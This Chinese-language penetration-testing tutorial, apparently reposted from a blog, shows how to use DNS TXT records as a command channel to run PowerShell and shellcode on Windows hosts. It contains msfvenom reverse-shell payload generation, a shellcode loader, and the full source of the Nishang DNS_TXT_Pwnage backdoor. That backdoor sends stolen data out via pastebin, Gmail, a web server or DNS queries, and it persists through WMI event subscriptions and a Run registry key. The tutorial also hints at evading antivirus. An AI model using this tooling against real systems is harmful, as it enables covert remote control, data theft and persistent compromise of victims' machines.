通过DNS TXT记录执行powershell

来源:互联网 发布:ipadair2怎么删除软件 编辑:程序博客网 时间:2024/05/16 07:09

0x00简介


DNS TXT记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件)。本篇文章主要介绍如何使用nishang通过创建TXT记录执行powershell脚本。当然,首先你要有一个域名。

0x01创建TXT记录


这里需要使用nishang中的一个脚本OUT-DnsTxt。

1.常见命令

因为常见命令比较短,所以可以直接添加到TXT记录中,如下图:

Alt text

现在查看一下TXT记录:

Alt text

可以看到记录已经成功添加了。

2.脚本

由于TXT记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个TXT记录。下面是一个例子,自己写了一个PSH脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Get-User
{
<#
.SYNOPSIS
Script to generate DNS TXT for a test.
.DESCRIPTION
Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up.
.EXAMPLE
PS > Get-User
#>   
 
[CmdletBinding()]
Param ()
    net user
}

使用Out-Dnstxt进行转换:

PS F:\DNS> . .\Out-DnsTxt.ps1PS F:\DNS> Out-DnsTxt -DataToEncode .\Get-User.ps1You need to create 2 TXT records.All TXT Records written to F:\DNS\encodedtxt.txt

由于这个脚本比较小,所以只生产两行:

Alt text

可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图:

Alt text

查看TXT,可以看到内容都已经添加好了:

Alt text

0x02 执行Powershell


添加完了TXT记录以后,通过DNS_TXT_Pwnage.ps1来执行这些脚本。

DNS_TXT_Pwnage.ps1 是一个通过DNS TXT来接收命令或者脚本的一个后门脚本

这里还需要添加两条记录,strat与stop,具体如下图:

Alt text

1.执行命令

PS F:\DNS> . .\DNS_TXT_Pwnage.ps1PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -Subdomains 1 -StopString stop

解释一下参数:

  • startdomain为创建的start.domain,返回一个字符串;
  • cmdstring 为任意输入的字符串;
  • commanddomain为创建的执行命令TXT记录的域名;
  • psstring为任意输入的字符串;
  • psdomain为创建的执行脚本TXT记录的域名或子域名 ;
  • Subdomains为执行脚本创建TXT记录的个数(如1.2中创建的脚本,该值为2);
  • StopString为任意输入的字符串。

此处比较重要的参数为startdomain,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行commanddomain 即命令,与psstring相等则执行psdomain即脚本。

上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图:

Alt text

我们可以通过修改command.domain的TXT值来执行不同的命令。比如Get-Host:

Alt text

2.执行脚本

PS F:\DNS> . .\DNS_TXT_Pwnage.ps1PS F:\DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1cg.me -Arguments Get-User -Subdomains 2 -StopString stop

这里要注意,psstring的值为start,与start.domain的TXT记录相同,cmdstring为任意字符串。效果如下图:

Alt text

这里多一个参数Arguments,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。

0x03 执行Shellcode


可以通过TXT记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:

☁  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt

使用Out-DnsTxt对生成的文件进行转换:

PS F:\DNS> Out-DnsTxt -DataToEncode .\pspayload.txtYou need to create 3 TXT records.All TXT Records written to F:\DNS\encodedtxt.txt

然后将以上记录分别添加到TXT记录中,如下图:

Alt text

测试使用的32位win7系统,使用msf开启监听:

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LPORT 8887LPORT => 8887msf exploit(handler) > set LHOST x.x.x.xLHOST => x.x.x.xmsf exploit(handler) > exploit    [*] Started reverse handler on x.x.x.x:8887[*] Starting the payload handler...

我们还需要一个获取TXT记录并执行的脚本,这里我改了一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
function Execute-Code
{
<#
.PARAMETER Shelldomain
The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
.PARAMETER subdomains
The number of subdomains which would be used to provide shellcode from their TXT records.
 .PARAMETER AUTHNS
Authoritative Name Server for the domains.
.EXAMPLE
PS> Execute-Code
The payload will ask for all required options.
.EXAMPLE
PS> Execute-Code-Shelldomain 32.alteredsecurity.com -SubDomains5 -AUTHNSf1g1ns2.dnspod.net.
Use above from non-interactiveshell.
#>
    [CmdletBinding()] Param(
        [Parameter(Position = 0, Mandatory =$True)]
        [String]
        $Shelldomain,
        [Parameter(Position = 1, Mandatory =$True)]
        [String]
        $Subdomains,    
        [Parameter(Position = 2, Mandatory =$True)]
        [String]
        $AUTHNS
    )
    function Get-ShellCode
    {
        Param(
            [Parameter()]
            [String]
            $Shelldomain
        )
        $i= 1
        while ($i-le $subdomains)
        {
            $getcommand= (Invoke-Expression"nslookup -querytype=txt $i.$Shelldomain $AUTHNS")
            $temp= $getcommand| select-string-pattern "`""
            $tmp1= ""
            $tmp1= $tmp1+ $temp
            $encdata= $encdata+ $tmp1-replace '\s+', ""-replace "`"", ""
            $i++
        }
        #$encdata = ""
        $dec= [System.Convert]::FromBase64String($encdata)
        $ms= New-ObjectSystem.IO.MemoryStream
        $ms.Write($dec, 0, $dec.Length)
        $ms.Seek(0,0) |Out-Null
        $cs= New-ObjectSystem.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
        $sr= New-ObjectSystem.IO.StreamReader($cs)
        $sc= $sr.readtoend()
        return$sc
    }
    $Shell= (Get-ShellCode$Shelldomain)
    #Remove unrequired things from msf shellcode
    $tmp= $Shell-replace "`n",""-replace '\$buf \+\= ',","-replace '\[Byte\[\]\] \$buf \=' -replace " "
    [Byte[]]$sc= $tmp-split ','
    #Code Execution logic
    $code= @"
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("msvcrt.dll")]
    public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
    $winFunc= Add-Type-memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
    $size= 0x1000
    if ($sc.Length-gt 0x1000) {$size = $sc.Length}
    $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
    for ($i=0;$i-le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i),$sc[$i], 1)}
    Try {
        $winFunc::CreateThread(0,0,$x,0,0,0)
        sleep100000
        }
    Catch
    {
    [system.exception]
    "caught a system exception"
    }
}

参数说明,Shelldomain **为创建txt记录的域名或子域名;subdomains为创建TXT域名的个数,如上面所创建的为3;AUTHNS **为域的权威名称服务器,如我使用的狗爹,所以AUTHNS为f1g1ns2.dnspod.net

在32位win7上执行:

PS C:\Users\evi1cg\Desktop> . .\Execute-Code.ps1PS C:\Users\evi1cg\Desktop> Execute-Code -Shelldomain 32.evi1cg.me -subdomains 3 -AUTHNS f1g1ns2.dnspod.net

成功获取meterpreter会话:

Alt text

64位的请自行修改payload及脚本。

0x04 补充


Metasploit中已经含有此脚本dns_txt_query_exec.rb,此脚本查询TXT记录的顺序为a.domain,b.domain...,下面是一个示例,首先生成payload:

☁  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt

使用下面的脚本对该文件进行切割:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
#coding=utf-8
def txt(string,length):
    return[string[x:x+length]for x in range(0,len(string),length)]
with open('out.txt','w+') as f:
    line= open('reverse.txt','r').read()
    line=txt(line,255)
    fortxts in line:
        f.writelines(txts+'\n\n\n\n')

输出如下:

Alt text

将这三行分别添加到a.domain,b.domain,c.domain的TXT记录中:

Alt text

生成exe:

☁  ~  sudo msfvenom -p windows/dns_txt_query_exec DNSZONE=evi1cg.me -f exe > test.exe

msf开启监听:

msf > use exploit/multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST x.x.x.xLHOST => x.x.x.xmsf exploit(handler) > set LPORT 8887LPORT => 8887msf exploit(handler) > exploit

运行exe,获得meterpreter:

Alt text

至于免杀,可以直接生成c格式的shellcode,然后按照打造免杀payload来做。

0x05 小结


本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。

本文由evi1cg原创并首发于乌云drops,转载请注明



================================================================================================================================


function DNS_TXT_Pwnage{<#.SYNOPSISA backdoor capable of recieving commands and PowerShell scripts from DNS TXT queries..DESCRIPTIONThis script continuously queries a domain's TXT records. It could be sent commands and powershell scripts using the TXT records which are executed on the target machine.The PowerShell script which would be served as TXT record must be generated using Out-DnsTxt.ps1 in the Utility folder.While using the AuthNS option it should be kept in mind that it increases chances of detection.Leaving the DNS resolution to authorised name server of a target environment may be more desirable.If using DNS or Webserver ExfilOption, use Invoke-Decode.ps1 in the Utility folder to decode the exfiltrated data..PARAMETER startdomainThe domain (or subdomain) whose TXT records would be checked regularly for further instructions..PARAMETER cmdstring The string, if responded by TXT record of startdomain, will make the payload  query "commanddomain" for commands. .PARAMETER commanddomainThe domain (or subdomain) whose TXT records would be used to issue commands to the payload..PARAMETER psstring The string, if responded by TXT record of startdomain, will make the payload  query "psdomain" for encoded powershell script. .PARAMETER psdomainThe domain (or subdomain) whose subdomains would be used to provide powershell scripts from TXT records..PARAMETER ArgumentsArguments to be passed to a script. Powerpreter and other scripts in Nishang need the function name and arguments here..PARAMETER subdomainsThe number of subdomains which would be used to provide powershell scripts from their TXT records.The length of DNS TXT records is assumed to be 255 characters, so more than one subdomains would be required..PARAMETER stopstringThe string, if responded by TXT record of startdomain, will stop this payload on the target..PARAMETER AuthNSAuthoritative Name Server for the domains (or for startdomain in case you are using separate domains). Startdomain would be changed for commands and an authoritative reply shoudl reflect changes immediately..PARAMETER exfilUse this option for using exfiltration.PARAMETER ExfilOptionThe method you want to use for exfitration of data. Valid options are "gmail","pastebin","WebServer" and "DNS"..PARAMETER dev_keyThe Unique API key provided by pastebin when you register a free account.Unused for other options.PARAMETER usernameUsername for the pastebin/gmail account where data would be exfiltrated.Unused for other options.PARAMETER passwordPassword for the pastebin/gmail account where data would be exfiltrated.Unused for other options.PARAMETER URLThe URL of the webserver where POST requests would be sent. The Webserver must beb able to log the POST requests.The encoded values from the webserver could be decoded bby using Invoke-Decode from Nishang..PARAMETER DomainNameThe DomainName, whose subdomains would be used for sending TXT queries to. The DNS Server must log the TXT queries..PARAMETER ExfilNSAuthoritative Name Server for the domain specified in DomainName. Using it may increase chances of detection.Usually, you should let the Name Server of target to resolve things for you..PARAMETER persistUse this parameter for reboot persistence. Use Remove-Peristence from the Utility folder to clean a target machine..EXAMPLEPS > DNS_TXT_PwnageThe payload will ask for all required options..EXAMPLEPS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.comIn the above example if you want to execute commands. TXT record of start.alteredsecurity.commust contain only "begincommands" and command.alteredsecurity.com should conatin a single command you want to execute. The TXT record could be changed live and the payload will pick up updated record to execute new command.To execute a script in above example, start.alteredsecurity.com must contain "startscript". As soon as it matches, the payload will query 1.script.alteredsecurity.com, 2.script.alteredsecurity.com and 3.script.alteredsecurity.com looking for a base64encoded powershell script. Use the Arguments paramter if the downloaded script loads a function.Use the Out-DnsTxt script in the Utility folder to encode scripts to base64..EXAMPLEPS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.phpUse above command for sending POST request to your webserver which is able to log the requests..EXAMPLEPS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php -persistUse above for reboot persistence..LINKhttp://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.htmlhttps://github.com/samratashok/nishang#>    [CmdletBinding(DefaultParameterSetName="noexfil")] Param(        [Parameter(Parametersetname="exfil")]        [Switch]        $persist,        [Parameter(Parametersetname="exfil")]        [Switch]        $exfil,        [Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]        [String]        $startdomain,        [Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]        [String]        $cmdstring,        [Parameter(Position = 2, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 2, Mandatory = $True, Parametersetname="noexfil")]        [String]        $commanddomain,        [Parameter(Position = 3, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 3, Mandatory = $True, Parametersetname="noexfil")]        [String]        $psstring,        [Parameter(Position = 4, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 4, Mandatory = $True, Parametersetname="noexfil")]        [String]        $psdomain,        [Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")]        [Parameter(Position = 5, Mandatory = $False, Parametersetname="noexfil")]        [String]        $Arguments = "Out-Null",        [Parameter(Position = 6, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 6, Mandatory = $True, Parametersetname="noexfil")]        [String]        $Subdomains,        [Parameter(Position = 7, Mandatory = $True, Parametersetname="exfil")]        [Parameter(Position = 7, Mandatory = $True, Parametersetname="noexfil")]        [String]        $StopString,        [Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]        [Parameter(Position = 8, Mandatory = $False, Parametersetname="noexfil")]        [String]$AuthNS,            [Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]        [String]        $ExfilOption,        [Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]        [String]        $dev_key = "null",        [Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]        [String]        $username = "null",        [Parameter(Position = 12, Mandatory = $False, Parametersetname="exfil")]        [String]        $password = "null",        [Parameter(Position = 13, Mandatory = $False, Parametersetname="exfil")]        [String]        $URL = "null",              [Parameter(Position = 14, Mandatory = $False, Parametersetname="exfil")]        [String]        $DomainName = "null",        [Parameter(Position = 15, Mandatory = $False, Parametersetname="exfil")]        [String]        $ExfilNS = "null"      )    $body = @'    function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $psdomain, $Arguments, $Stopstring, $AuthNS, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $ExfilNS, $exfil){    while($true)    {        $exec = 0        start-sleep -seconds 5                if ($AuthNS -ne $null)        {            $getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain $AuthNS")         }        else        {            $getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain")         }        $tmp = $getcode | select-string -pattern "`""        $startcode = $tmp -split("`"")[0]        if ($startcode[1] -eq $cmdstring)        {            start-sleep -seconds 5                        if ($AuthNS -ne $null)            {                $getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain $AuthNS")             }            else            {                $getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain")             }            $temp = $getcommand | select-string -pattern "`""            $command = $temp -split("`"")[0]            $pastevalue = Invoke-Expression $command[1]            $pastevalue            $exec++            if ($exfil -eq $True)            {                $pastename = $env:COMPUTERNAME + " Results of DNS TXT Pwnage: "                Do-Exfiltration-Dns "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$ExfilNS"            }            if ($exec -eq 1)            {                Start-Sleep -Seconds 60            }        }        if ($startcode[1] -match $psstring)        {                                  $i = 1            while ($i -le $subdomains)            {                                if ($AuthNS -ne $null)                {                    $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$psdomain $AuthNS")                }                else                {                    $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$psdomain")                 }                $temp = $getcommand | select-string -pattern "`""                $tmp1 = ""                $tmp1 = $tmp1 + $temp                $encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", ""                $i++            }            #Decode the downloaded powershell script. The decoding logic is of Invoke-Decode in Utility directory.            $dec = [System.Convert]::FromBase64String($encdata)            $ms = New-Object System.IO.MemoryStream            $ms.Write($dec, 0, $dec.Length)            $ms.Seek(0,0) | Out-Null            $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)            $sr = New-Object System.IO.StreamReader($cs)            $command = $sr.readtoend()                        $script:pastevalue = Invoke-Expression $command            # Check for arguments to the downloaded script.            if ($Arguments -ne "Out-Null")            {                $pastevalue = Invoke-Expression $Arguments                               }            $pastevalue                        $exec++            if ($exfil -eq $True)            {                $pastename = $env:COMPUTERNAME + " Results of DNS TXT Pwnage: "                Do-Exfiltration-Dns "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$ExfilNS"            }            if ($exec -eq 1)            {                Start-Sleep -Seconds 60            }        }                if($startcode[1] -eq $StopString)        {            break        }    }}'@$exfiltration = @'function Do-Exfiltration-Dns($pastename,$pastevalue,$ExfilOption,$dev_key,$username,$password,$URL,$DomainName,$ExfilNS){    function post_http($url,$parameters)     {         $http_request = New-Object -ComObject Msxml2.XMLHTTP         $http_request.open("POST", $url, $false)         $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")         $http_request.setRequestHeader("Content-length", $parameters.length);         $http_request.setRequestHeader("Connection", "close")         $http_request.send($parameters)         $script:session_key=$http_request.responseText     }     function Compress-Encode    {        #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html        $ms = New-Object IO.MemoryStream        $action = [IO.Compression.CompressionMode]::Compress        $cs = New-Object IO.Compression.DeflateStream ($ms,$action)        $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)        $pastevalue | ForEach-Object {$sw.WriteLine($_)}        $sw.Close()        # Base64 encode stream        $code = [Convert]::ToBase64String($ms.ToArray())        return $code    }    if ($exfiloption -eq "pastebin")    {        $utfbytes  = [System.Text.Encoding]::UTF8.GetBytes($Data)        $pastevalue = [System.Convert]::ToBase64String($utfbytes)        post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"         post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"     }            elseif ($exfiloption -eq "gmail")    {        #http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage        $smtpserver = �smtp.gmail.com�        $msg = new-object Net.Mail.MailMessage        $smtp = new-object Net.Mail.SmtpClient($smtpServer )        $smtp.EnableSsl = $True        $smtp.Credentials = New-Object System.Net.NetworkCredential(�$username�, �$password�);         $msg.From = �$username@gmail.com�        $msg.To.Add(�$username@gmail.com�)        $msg.Subject = $pastename        $msg.Body = $pastevalue        if ($filename)        {            $att = new-object Net.Mail.Attachment($filename)            $msg.Attachments.Add($att)        }        $smtp.Send($msg)    }    elseif ($exfiloption -eq "webserver")    {        $Data = Compress-Encode            post_http $URL $Data    }    elseif ($ExfilOption -eq "DNS")    {        $lengthofsubstr = 0        $code = Compress-Encode        $queries = [int]($code.Length/63)        while ($queries -ne 0)        {            $querystring = $code.Substring($lengthofsubstr,63)            Invoke-Expression "nslookup -querytype=txt $querystring.$DomainName $ExfilNS"            $lengthofsubstr += 63            $queries -= 1        }        $mod = $code.Length%63        $query = $code.Substring($code.Length - $mod, $mod)        Invoke-Expression "nslookup -querytype=txt $query.$DomainName $ExfilNS"    }}'@        $modulename = "DNS_TXT_Pwnage.ps1"    if($persist -eq $True)    {        $name = "persist.vbs"        $options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS"        if ($exfil -eq $True)        {            $options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil"        }        Out-File -InputObject $body -Force $env:TEMP\$modulename        Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename        Out-File -InputObject $options -Append $env:TEMP\$modulename        echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name        echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name        $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())         if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)        {            $scriptpath = $env:TEMP            $scriptFileName = "$scriptpath\$name"            $filterNS = "root\cimv2"            $wmiNS = "root\subscription"            $query = @"             Select * from __InstanceCreationEvent within 30              where targetInstance isa 'Win32_LogonSession' "@            $filterName = "WindowsSanity"            $filterPath = Set-WmiInstance -Class __EventFilter -Namespace $wmiNS -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}            $consumerPath = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace $wmiNS -Arguments @{name="WindowsSanity"; ScriptFileName=$scriptFileName; ScriptingEngine="VBScript"}            Set-WmiInstance -Class __FilterToConsumerBinding -Namespace $wmiNS -arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null        }        else        {            New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -PropertyType String -Value $env:TEMP\$name -force            echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name            echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name        }    }    else    {        $options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS $LoadFuntion"        if ($exfil -eq $True)        {            $options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Arguments $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil $LoadFunction"        }        Out-File -InputObject $body -Force $env:TEMP\$modulename        Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename        Out-File -InputObject $options -Append $env:TEMP\$modulename        Invoke-Expression $env:TEMP\$modulename         }}


function Out-DnsTxt{<#.SYNOPSISScript for Nishang to generate DNS TXT records which could be used with other scripts. .DESCRIPTIONUse this script to generate DNS TXT records to be used with DNS_TXT_Pwnage and Execute-DNSTXT-Code.The script asks for a path to a plain file or string, compresses and encodes it and writes to a file "encodedtxt.txt" in the current working directory.Each line in the generated file is a DNS TXT record to be saved in separate subbdomain.The length of DNS TXT records is assumed to be 255 characters by the script..PARAMETER DataToEncodeThe path of the file to be decoded. Use with -IsString to enter a string..PARAMETER OutputFilePathThe path of the output file. Default is "encodedtxt.txt" in the current working directory..PARAMETER $LengthOfTXTThe length of the TXT records. Default is 255..PARAMETER IsStringUse this to specify the command to be encoded if you are passing a string in place of a filepath..EXAMPLEPS > OUT-DNSTXT -DataToEncode C:\nishang\Gather\Get-Information.ps1Use above command to generate encoded DNS TXT records. Each record must be put in a separate subdomain..EXAMPLEPS > OUT-DNSTXT "Get-Service" -IsStringUse above to generate TXT records for a command..EXAMPLEPS > OUT-DNSTXT -DataToEncode C:\shellcode\shellcode.txtUse above command to generate encoded DNS TXT records for a shellcode. Each record must be put in a separate subdomain..LINKhttp://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.htmlhttps://github.com/samratashok/nishang#>    [CmdletBinding()] Param(        [Parameter(Position = 0, Mandatory = $True)]        [String]        $DataToEncode,        [Parameter(Position = 1, Mandatory = $False)]        [String]        $OutputFilePath = "$pwd\encodedtxt.txt",         [Parameter(Mandatory = $False)]        [String]        $LengthOfTXT = 255,         [Switch]        $IsString    )    if($IsString -eq $true)    {           $Enc = $DataToEncode           }    else    {        $Enc = Get-Content $DataToEncode -Encoding Ascii    }        #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html    $ms = New-Object IO.MemoryStream    $action = [IO.Compression.CompressionMode]::Compress    $cs = New-Object IO.Compression.DeflateStream ($ms,$action)    $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)    $Enc | ForEach-Object {$sw.WriteLine($_)}    $sw.Close()    # Base64 encode stream    $Compressed = [Convert]::ToBase64String($ms.ToArray())    $index = [math]::floor($Compressed.Length/$LengthOfTXT)    $i = 0    Out-File -InputObject $null -FilePath $OutputFilePath    #Split encoded input in strings of 255 characters if its length is more than 255.    if ($Compressed.Length -gt $LengthOfTXT)    {        while ($i -lt $index )        {            $TXTRecord = $Compressed.Substring($i*$LengthOfTXT,$LengthOfTXT)            $i +=1            Out-File -InputObject $TXTRecord -FilePath $OutputFilePath -Append            Out-File -InputObject "`n`n`n" -FilePath $OutputFilePath -Append        }        $remainingindex = $Compressed.Length%$LengthOfTXT        if ($remainingindex -ne 0)        {            $TXTRecord = $Compressed.Substring($index*$LengthOfTXT, $remainingindex)            $TotalRecords = $index + 1        }        #Write to file        Out-File -InputObject $TXTRecord -FilePath $OutputFilePath -Append        Write-Output "You need to create $TotalRecords TXT records."        Write-Output "All TXT Records written to $OutputFilePath"    }    #If the input has small length, it could be used in a single subdomain.    else    {        Write-Output "TXT Record could fit in single subdomain."        Write-Output $Compressed        Out-File -InputObject $Compressed -FilePath $OutputFilePath -Append        Write-Output "TXT Records written to $OutputFilePath"    }}


1 0
原创粉丝点击